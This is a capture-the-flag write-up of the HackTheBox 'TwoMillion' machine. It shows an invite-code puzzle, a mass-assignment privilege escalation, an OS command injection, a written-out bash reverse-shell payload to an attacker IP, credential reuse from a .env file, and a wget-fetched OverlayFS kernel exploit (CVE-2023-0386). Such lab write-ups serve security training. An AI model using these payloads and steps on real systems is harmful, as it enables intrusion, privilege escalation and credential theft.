TARGET OS: LINUX | AUTHOR: LEANDROS
TwoMillion is a fantastic Easy-rated Linux machine released to celebrate HackTheBox reaching two million users. The intrusion is highly nostalgic, requiring us to solve the classic "Invite Code" Javascript puzzle from the old HTB platform. After registering, I abused an API Mass Assignment vulnerability to elevate my account to an administrator. This allowed me to exploit an OS Command Injection flaw in the VPN generation endpoint to gain a foothold. I moved laterally by finding hardcoded database credentials in a .env file, and escalated to root by executing a sophisticated OverlayFS Kernel Exploit (CVE-2023-0386). Here is my complete mission log.
I initiated the engagement with an Nmap TCP port scan to map the target's external attack surface.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,80 <IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
The scan revealed SSH and an Nginx web server redirecting to 2million.htb. I mapped the domain in my /etc/hosts file and navigated to the site.
The website is a perfect replica of the original HackTheBox landing page. Clicking "Join" redirected me to an /invite page, prompting me for an Invite Code. Time to solve the classic puzzle.
I opened the browser's Developer Tools and inspected the page source. I found a reference to an obfuscated JavaScript file: /js/inviteapi.min.js.
After prettifying the code, I identified a function called makeInviteCode(). I executed this function directly in the browser's web console.
> makeInviteCode()
{
"0": 200,
"success": 1,
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
}
}
The output was an encrypted string using ROT13. Using CyberChef to decode it, the message translated to: "In order to generate the invite code, make a POST request to /api/v1/invite/generate".
I fired up my terminal and used curl to send the requested POST HTTP request to the API.
curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"VlZCUkQtVVRLTkQtRVdYTEktRVJIVVY=","format":"encoded"}}
The API returned a Base64 encoded string. I decoded it (echo "VlZCUkQtVVRLTkQtRVdYTEktRVJIVVY=" | base64 -d) and retrieved the plaintext invite code: VVBRD-UTKND-EWXLI-ERHUV. I submitted this code on the website and successfully registered an account.
Now authenticated, I began exploring the web portal while capturing traffic in Burp Suite. I noticed several requests to the /api/v1 endpoint. Attempting to access /api/v1 directly returned a JSON list of all available API routes!
Two routes stood out: /api/v1/admin/settings/update and /api/v1/admin/vpn/generate. Accessing these normally returned a 401 Unauthorized error because my account lacked admin privileges.
Mass Assignment occurs when a web framework automatically binds client-provided data (like JSON payload parameters) directly to internal object properties without proper filtering. If the API endpoint updating user settings doesn't explicitly block the modification of the is_admin flag, we can force the framework to upgrade our account!
I sent a PUT request to the settings update endpoint, injecting the is_admin attribute into my JSON payload.
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Content-Type: application/json
Cookie: PHPSESSID=<MY_SESSION>
{"email":"test@test.com", "is_admin":1}
The server responded with a 200 OK. I was now an administrator! This unlocked the /api/v1/admin/vpn/generate endpoint. I analyzed how this endpoint functioned by sending a test request with my username.
The VPN generation endpoint takes a username parameter and passes it directly into a system shell command (likely to generate an OpenVPN certificate for that user) without sanitization. We can terminate the original command using a semicolon (;) and inject a reverse shell payload.
I set up a Netcat listener on my attacker machine and sent the malicious payload through Burp Suite.
POST /api/v1/admin/vpn/generate HTTP/1.1
Content-Type: application/json
{"username":"admin;bash -c 'bash -i >& /dev/tcp/<IP_ATTACKER>/<PORT> 0>&1'"}
The backend executed the payload, and I caught a reverse shell as www-data.
To move laterally to a system user, I enumerated the web root directory. Modern web applications frequently store sensitive configuration data and database passwords in environment files.
cat /var/www/html/.env
DB_DATABASE=HTB
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
I discovered hardcoded database credentials: admin : SuperDuperPass123. I checked the /etc/passwd file and confirmed that admin was also a valid local system user. Due to password reuse, I successfully SSH'd into the machine as the admin user and claimed the user.txt flag.
With a secure shell established, I began hunting for privilege escalation vectors. I checked the kernel version of the machine.
uname -a
Linux 2million 5.15.0-70-generic #77-Ubuntu SMP Tue Mar 21 14:02:37 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
This specific kernel version (5.15.0-70) is vulnerable to CVE-2023-0386. This is a critical flaw in the Linux kernel's OverlayFS subsystem.
OverlayFS allows combining two directories (an upper and lower layer) into one single merged filesystem. The vulnerability occurs because the kernel fails to properly verify permissions when copying a file from an unprivileged FUSE mount (where we control everything, including creating SUID root files) into an OverlayFS mount. This allows us to smuggle a malicious SUID root binary into the main filesystem.
I downloaded the exploit PoC from GitHub (sxlmnwb/CVE-2023-0386), zipped it up, and transferred it to the victim machine's /tmp directory using a Python HTTP server. Once transferred, I unzipped and compiled it.
wget http://<IP_ATTACKER>/CVE-2023-0386.zip
unzip CVE-2023-0386.zip
cd CVE-2023-0386/
make all
The exploit requires two terminal sessions to work effectively. In my first SSH session, I initiated the FUSE mount and the Garbage Collection loop.
./fuse ./ovlcap/lower ./gc
I opened a second SSH connection to the machine. While the FUSE mount was active in the background, I executed the main exploit binary in this new session. This triggers the OverlayFS bug, copies the smuggled SUID shell, and executes it.
./exp
[+] Exploit successful!
root@2million:/tmp/CVE-2023-0386# whoami
root
The kernel exploit successfully smuggled the SUID binary, dropping me into a root shell. I claimed the root.txt flag. System Compromised.